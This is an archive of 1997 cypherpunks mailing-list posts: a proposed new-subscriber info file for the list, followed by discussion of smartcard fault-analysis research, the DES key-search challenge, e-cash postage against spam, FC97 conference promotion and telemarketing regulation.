The text below is what I wrote for cypherpunks@algebra.com to be
sent to new subscribers. Feel free to criticize.

	- Igor.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

About cypherpunks mailing lists
-------------------------------

* * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE 
* * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING
* * * LIST.
* * * 
* * * DO NOT JUST DELETE THIS MESSAGE.

I. Administrivia (please read, boring though it may be)

The cypherpunks list cypherpunks@algebra.com is one of the cypherpunks
mailing lists discussing cryptography, privacy, and social issues
relating to them.  These lists are connected to each other in such a way
that all messages appear on all of these lists.

All of these lists are high-volume mailing lists. There are several
reasons for existence of multiple mailing lists that are
inter-subscribed. The main reason is the large number of subscribers and
limited bandwidth of each of the participating list nodes -- each node
can take on only that many users.

Most people will not want to subscribe to more than one of these lists.

If you don't know how to do something, like unsubscribe, send mail to

	majordomo@algebra.com

and the software robot which answers that address will send you back
instructions on how to do what you want.  If you don't know the
majordomo syntax, an empty message to this address will get you a help
file, as will a command 'help' in the body.  Even with all this
automated help, you may still encounter problems.  If you get really
stuck, please feel free to contact me directly at the address I use
for mailing list management:

	cypherpunks-request@algebra.com

Please use this address for all mailing list management issues.  Hint:
if you try to unsubscribe yourself from a different account than you
signed up for, it likely won't work.  Log back into your old account
and try again.  If you no longer have access to that account, mail me
at the list management address above.  Also, please realize that 
there will be some cypherpunks messages "in transit" to you at the
time you unsubscribe.  If you get a response that says you are unsubscribed,
but the messages keep coming, wait a day and they should stop.

Do not mail to the whole list asking to be removed. It's rude ans stupid.

To post to the whole list, send mail to

	cypherpunks@algebra.com

If your mail bounces repeatedly, you will be removed from the list.
Nothing personal, but I have to look at all the bounce messages.

There is no digest version available.

There is a meta list which discusses the architecture and other issues of
the distributed cypherpunks lists. It is not intended to be used for
crypto discussions.

if you want to be added or removed to the metadiscussion list, send a message
"subscribe cypherpunks-hosts" to majordomo@algebra.com.


II. About cypherpunks

The cypherpunks list is not designed for beginners, although they are
welcome.  If you are totally new to crypto, please get and read the
crypto FAQ referenced below.  This document is a good introduction,
although not short.  Crypto is a subtle field and a good understanding
will not come without some study.  Please, as a courtesy to all, do
some reading to make sure that your question is not already frequently
asked.

There are other forums to use on the subject of cryptography.  The
Usenet group sci.crypt deals with technical cryptography; cypherpunks
deals with technical details but slants the discussion toward their
social implications.  The Usenet group talk.politics.crypto, as is
says, is for political theorizing, and cypherpunks gets its share of
that, but cypherpunks is all pro-crypto; the debates on this list are
about how to best get crypto out there.  The Usenet group
alt.security.pgp is a pgp-specific group, and questions about pgp as
such are likely better asked there than here.  Ditto for
alt.security.ripem.

alt.cypherpunks is indended as a mirror USENET forum for this 
mailing list.

III. Posting Policy.

Please note that some members of cypherpunks mailing list may surprise
you as very rude people. You may see views that sound very offensive to
you.  You will also see many articles that make no sense to you, are
very stupid, or appear to be commercial advertisements.

Consider such situation to be a price of YOUR freedom to post anything you
want. Remember that speech that pleases everyone needs no protection: it is
the offensive speech that is most often assaulted and thus needs to be 
protected. Also, speech that you find silly and distasteful may seem
to be of great use for others.

If you feel that some poster's articles are not useful and offensive to
you, you can set up your mail reading software to ignore all articles
coming from that person. Ignoring them silently has shown to be the best
way of dealing with them. It will save you a lot of your own time. Even
though you are free do write anything, please consider not following up
to their posts with suggestions to shut them up. It only decreases
usefulness of this mailing list.

Eudora for Windows is known for its mail filtering capability. Procmail
is a tool of choice for Unix users who want to filter their articles.
Please read the documentation for these programs to find out how to set
them to filter and delete unwanted messages.

None of the above precludes the administrator of this mailing list to
use tools protecting his hardware and bandwidth from denial of service
attacks. If someone maliciously mailbombs cypherpunks mailing list, the
mail bombs may be silently ignored and not passed on to the list.

IMPORTANT: the list owner does not monitor the content of the messages
appearing here. I disclaim any liability whatsoever for the content of
articles on cypherpunks@algebra.com. If you have a problem with any
materials posted here, please contact the poster to resolve them. Your
use of the resources of this list constitutes an agreement with these
terms. You have been warned.

IV. Resources.

A. The sci.crypt FAQ

anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt

The cryptography FAQ is good online intro to crypto.  Very much worth
reading.  Last I looked, it was in ten parts.

B. cypherpunks ftp site

anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks

This site contains code, information, rants, and other miscellany.
There is a glossary there that all new members should download and
read.  Also recommended for all users are Hal Finney's instructions on
how to use the anonymous remailer system; the remailer sources are
there for the perl-literate.

C. Bruce Schneier's _Applied Cryptography_, published by Wiley

This is required reading for any serious technical cypherpunk (and there
are no non-technical cypherpunks).  An excellent overview of the field,
it describes many of the basic algorithms and protocols with their
mathematical descriptions.  Some of the stuff at the edges of the scope
of the book is a little incomplete, so short descriptions in here should
lead to library research for the latest papers, or to the list for the
current thinking.  All in all, a solid and valuable book.  It's even got
the cypherpunks-request address.


Enjoy and deploy.


-----------------------------------------------------------------------------

Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write. 
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down.

Cypherpunks will make the networks safe for privacy.

[Last updated Sun Feb 16 13:10:56 CST 1997 ichudov@algebra.com]
[Adopted from the original version by John Gilmore and Eric Hughes]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Feb 1997 14:43:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DFA
Message-ID: <199702162243.OAA05104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bell wrote:
>does anyone know what has happened to DFA, and the people who
>just a few months ago were publishing such encouraging results?

There seems be sustained investigation of DFA, offensive and defensive,
by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by 
Quisquater and others.

However, the smartcard manufacturers appear to have a role in dampening 
publicity about the ongoing research, or at least diminishing the claims of 
effectiveness of DFA. Carol Francher, of Motorola, for example, writes
in February IEEE Spectrum:

   Technology is a wonderful thing but criminals, too, can use it as new 
   equipment and techniques become available or less expensive the 
   barriers to cracking a system may weaken. Recently Bellcore 
   announced a paper, "Cryptanalysis in the presence of hardware faults" 
   (available at www.bellcore.com), that proposed a theoretical method for
   breaking an asymmetric encryption code once a computer (or a 
   smartcard microcontroller) had been forced into faulty behavior.

   The Smart Card Forum, a multi-industry membership organization 
   headquartered in Tampa, Fla., has stated that it does not regard this 
   approach as a real-world risk, since in smartcard applications more 
   than one technique is used to protect the security of the entire system. 
   But the Bellcore methodology for breaking algorithms -- as well as 
   similar theoretical approaches, such as the one taken by two Israeli 
   researchers, Eli Biham and Adi Shamir -- highlights the need to 
   analyze and evolve the security of any system continually.

   -- "In your pocket: smartcards."  <http://jya.com/tee08.htm>

Several of the DFA-type researchers have commented on the smartcard 
industry's reluctance to publicize security weaknesses when the push is 
on to increase consumer trust and use; see, for example, Anderson and
Kuhn at:

  http://www.cl.cam.ac.uk/users/rja14/tamper.html

Quisquater and the SG group also note the reluctance of smartcard
mass-marketers to own up to security shortcomings of which their own
engineers know and fret.

Meanwhile, the DFA proponents and opponents are eagerly absorbing the 
continuing DFA-relatged reports, quietly watching one another, and both 
sides eying the booming smartcard market for lucrative rewards, as Ms. 
Francher suggests: licit and il.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:41:27 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162241.OAA04949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> 
> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
> >Roy M. Silvernail wrote:
> ...
> >> Or that the money wasn't there in the first place (absent a trusted
> >> signature system), or the key doesn't exist, or the wrong key is
> >> offered, or the sender put the same e-dollar on all 60000 mails sie
> >> sent and it's already been redeemed.
> >
> >Well, if the trusted party performs the encryption by both recipient's
> >public key and the "retrieval key", the problem that you mention can 
> >be avoided.
> Yeah.  I as a spam artist send the "proof" message through the e-cash
> verification center with the Send To: field returning it to a mail exploder.
> Each receipient gets the same dollar.
> This assumes that the To: field is not hashed into the verification
> signature, and that the verification works like a glorified remailer.  (cash
> added on a separate channel).
> 

Sean,

No, it works the other way. The verification center gets $1000, creates
1000 $1 coins, signs them and encrypts each with the given recipients' 
public keys.

The spammers gets these signed and encrypted coins, may superencrypt
them and sends them to the recipients.

As long as the trusted party is honest, there is no way to cheat.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas S." <ths@rz.tu-ilmenau.de>
Date: Sun, 16 Feb 1997 07:26:15 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161526.HAA18395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas S." <ths@rz.tu-ilmenau.de>
Date: Sun, 16 Feb 1997 10:12:10 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161812.KAA24934@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 14:41:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA)
Message-ID: <199702162241.OAA04953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/16/97, John Young wrote:


> Paul Bell wrote:
> >does anyone know what has happened to DFA, and the people who
> >just a few months ago were publishing such encouraging results?
>
> There seems be sustained investigation of DFA, offensive and defensive,
> by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by
> Quisquater and others.
>
> However, the smartcard manufacturers appear to have a role in dampening
> publicity about the ongoing research, or at least diminishing the claims of
> effectiveness of DFA.

At FC97 <http://www.offhsore.com.ai/fc97/> ;-), we have the following paper
at 10:45 on Tuesday February 22nd:


>     Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
>         Engineering in Perspective
>     David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

I'm not sure whether which side of the fight this paper will be on, but it
could be easy to speculate from the title. :-).

On the other side of the coin, we invited Shamir to come talk about his DFA
work, but eventually it turned out that he couldn't make the trip. Maybe
next year. We *did* get Ron Rivest, though.

(Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of
the Dutch central bank, who'll talk about the security of electronic money,
and Peter Wayner, the author of "Digital Cash", who'll talk about money
laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike,
they're offering mucho cheapseat deals to places like Anguilla and St.
Maarten, a short ferry ride away, even if you make your reservations on
really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also
get you *cheap* hotel rooms when you get there... Wink, wink, wink.)

Meanwhile, the FC97 workshop (which runs the week prior to the conference
itself) starts on Monday, and, having weathered the American Airlines
non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down
in Anguilla getting things set up. I don't think people can get to *that*
in time, but, hey, you could *try*, I suppose. Better get packing, though,
'cause time is running out. The workshop starts at 09:00 tomorrow.
<http://www.offshore.com.ai/fc97/>

;-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Newton <newton@atdot.dotat.org>
Date: Sat, 15 Feb 1997 22:56:28 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160656.WAA27615@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

 > The organizer of the coordinated search must then, I surmise, keep the
 > assignments secret and dole out keyspace securely.

Perhaps they should DES-encrypt the list of assignments :-)

    - mark

--------------------------------------------------------------------
I tried an internal modem,                          newton@dotat.org
     but it hurt when I walked.                          Mark Newton
----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 16 Feb 1997 16:11:03 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702170011.QAA08625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:

>I can also offer my participation in the distributed mailing list, if
>that is what it takes to get cypherpunks free of control interests again.

I think it would be more accurate to say that this is what it takes to get
cypherpunks into the hands of different control interests. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMweY6P37pMWUJFlhAQGdewf/Rvli6pc1PId0xSK9hCII4exlWGetoU66
rGvQ7kJNh9O7zeWz8gVFIk7kXmDRKNBfkDDq4nuf64O4fWnhGP1xeuSoUQhqI5mw
YupTErFN0uPlPRbOrTCPeVBdHbDiuKniMTlvHoZnB00sS+/q5rKCHILhRzDRjgxZ
eglFvVZYttqk2s/YE/OCgWpYDAthLzmgK3GbKUh3ZuyJYWcLrsmHqwCZUgdIztWY
rj1QuLcVcqyXsZjpC2nf75BU1l/WoAcq0MrEzSQeT6qXvJmvgMzrF8GtZ/mTheO6
U9E6kAmKd7xwfe4VE3KPKWrAppDi8vMTyUqSKTSi/Lz8ZYkYGUhUvw==
=tT97
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Clinton <president@whitehouse.gov>
Date: Sun, 16 Feb 1997 14:41:13 -0800 (PST)
To: Those cypher-rebels <cypherpunks@toad.com>
Subject: We're in Anguilla! Comon down!!!
Message-ID: <199702162241.OAA04900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My fellow cypherpunks,

	I wanted to let you all know, we are having a great time, building
a router to the 21st Century, down here in sunny Anguilla.   Al and I will
be wiring Anguilla's great high school for the internet.  Afterwards, we'll
meet with some longtime supporters of the democratic party for a beer.

	Spaces at the conference are still available, I didn't let those
folks at American strike, so you have no excuses to be anywhere else next
week.  

Willy
Citizen Unit 429-92-9947
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 14:57:48 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702162257.OAA05806@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Genocide <gen2600@aracnet.com> writes:
>         I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
<snip>
> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
> >> has infected your host computer and consider all your credit cards
> >> stolen.
> >> 
> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
> >> been hit with it and say that it's a script that does hack into the
> >> IPS's server and sits back and watches the users browse the web and take
> >> the info they see on there screen and dump to some remote server??
> >> 
> >> I was wondering if you have heard about it...and if so can you direct to
> >> the right locations on the web to get the "Official" Scoop on it?

It could theoretically be a JavaScript that makes a teeny tiny window
and reports back stuff that it really shouldn't be able to see, I
think Netscape fixed that bug, though.

FWIW,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwd5rskz/YzIV3P5AQF+7wMAwPZp89E0JQkI9OOGbqMULKTfEfyE6Edf
2K+U0l3I86aM6AkS6SeFbj2Nc6AwD3yXbFHR+d3Opn3yJcwGaLrCDtqM3qfeg8vR
V3D3KWXVNai4ptHwB5ldM2GT+IQP0VJg
=veqx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 14:56:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Post-strike airfares
Message-ID: <199702162256.OAA05751@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


One more datablip about FC97 and I'll shut up a bit.

Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I
went and called the local branch of American Express Travel and got some
actual prices. Their number is 617-868-2600, but AEXP-T has branches
everywhere, and, I think, an 800 number, so you might want to get ahold of
them that way...

Anyway, here's what I got, as of about 20 minutes ago:

For departures 2/22/97 with return 3/1/97,

Boston  Anguilla           $  864
Boston  St. Maarten           851 (+ Taxi and short ferry ride to Anguilla)
San Francisco  Anguilla       828
San Francisco  St. Maarten    748
Heathrow  Anguilla          1,315 (looks like the strike didn't affect you
folks, sorry)

All in all, that's as good as the prices we were getting for 14 day advance
purchase earlier this month. Not bad, but not completely spectacular. Note
that it's cheaper to get to Anguilla or St. Maarten from San Francisco than
it is from Boston, so y'all don't have an excuse. Well, possibly seat
fatigue, but Sunday on the beach will fix that.

I'll check tomorrow to see if the airline yield management software war
gives us something better after the weekend's over. Only if fares are
significantly lower will I post something here about it, in the interest of
nomex conservation. :-).

If you *do* decide to fly while the seats are hot, don't forget to register
for FC97 first, so we can plan for meals and stuff:
<http://www.offshore.com.ai/fc97/>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 15:26:15 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: Proposed info file
Message-ID: <199702162326.PAA06979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings wrote:
> Igor Chudov @ home wrote:
> > About cypherpunks mailing lists
> > -------------------------------
> 
> 
>   It all sounds very interesting especially given what's been going
> on.  About how many posts a day can a subscriber reasonbly expect
> in their mailbox if one were to subscribe?
> 

About a hundred, maybe. It is QUITE A LOT. If you are not interested
in applications of cryptography, the list may not be as interesting.
All the bickering that you heard is mostly rotating around crypto use.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 15:26:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Proposed info file
Message-ID: <199702162326.PAA06963@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Hi,
> 
> The text below is what I wrote for cypherpunks@algebra.com to be
> sent to new subscribers. Feel free to criticize.
> 
>         - Igor.
> 
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
> 
> About cypherpunks mailing lists
> -------------------------------


  It all sounds very interesting especially given what's been going
on.  About how many posts a day can a subscriber reasonbly expect
in their mailbox if one were to subscribe?

                       Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 09:56:15 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702161756.JAA24294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 14:42:56 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702162242.OAA05065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 19:56:26 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
Message-ID: <199702170356.TAA17431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote:

>My understanding is that the legislation restricts commercial
>solicitations by phone to:
>
>- certain times of day (not after 9 PM? unsure)
>- one initial call, and no follow-ups if the person explicitly asks
>the caller to never phone this number again (again, unsure of legal
>details)
>
>I don't consider this scenario overly restrictive, since it gives
>_them_ a chance to sell their product, and _me_ a chance to have them
>delete my name from their database.  Unfortunately, without some
>formal means of redress, very few telemarketers seem to remember that
>they are unlikely to find new customers if they call at 7 AM Saturday
>for the third time this month.

I despise telemarketing calls as much as the next one, and I now let my
answering machine do the answering whenever possible, only picking up if
it's a call that sounds interesting. (And my cellular phone number I give
to only a very few people, as I get charged for incoming calls before 7
p.m.)

So, I'm sympathetic to the "problem."

However, I try to always "deconstruct" governmental/regulatory "solutions"
to see if statist encroachment is lurking in the bushes.

In the case of the notion of "have them delete my name from their
database," here are some of the issues:

* The Armour Spam Company buys its data bases from direct marketing firms,
so whose data base is one's name supposed to be removed from? The instance
used by Armour in its February 17th contact, or the "parent index" (which
is itself an instance) controlled by someone else? How does Armour insist
that the data base company from which it bought the data base handle the
removal?

* If the argument is only that Armour Spam Company not repeat a call, this
is generally not a problem, as few companies repeat their telemarketing
pitches; counterexamples doubtless exist, but the general trend is not for
repeat calls, but, rather, for the same data base to be bought by multiple
telemarketing firms.

* And there are "freedom of speech" (important in the U.S., though not
perhaps in other countries lacking an explicit provision in their
constitutions or charters) issues in forcing sellers of legally obtained
data bases to reveal internals, to modify them, etc.

(Again, it is Armour Spam Company that made the offending call, but they,
for this example, only made the call _once_. The fact that N other
companies make similar calls, based on the same data base, is a separable
issue. Unless the collection and sale of legally-accumulated data bases is
regulated, no real remedy exists. I am not, of course, a fan of regulating
data bases, but that's a long and involved issue to discuss.)

>What means of redress would you suggest, in the absence of
>legislation / fines, to someone who has been called repeatedly by a
>telemarketer?  This person is not a current customer and so cannot
>withdraw his/her business.

As I said, I believe the case of repeated calls by the _same_ telemarketer
is unusual. Perhaps others have had different experiences.

And if a particular telemarketer is banned from calling twice, their
solution will be obvious: they'll change their company name, farm out the
calls to a subcontractor, etc. That is, they'll become a different
"corporate instance."

It'll be very tough for any law to keep up with such changes (without
trampling severely on what most of us think of us as basic freedoms).

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
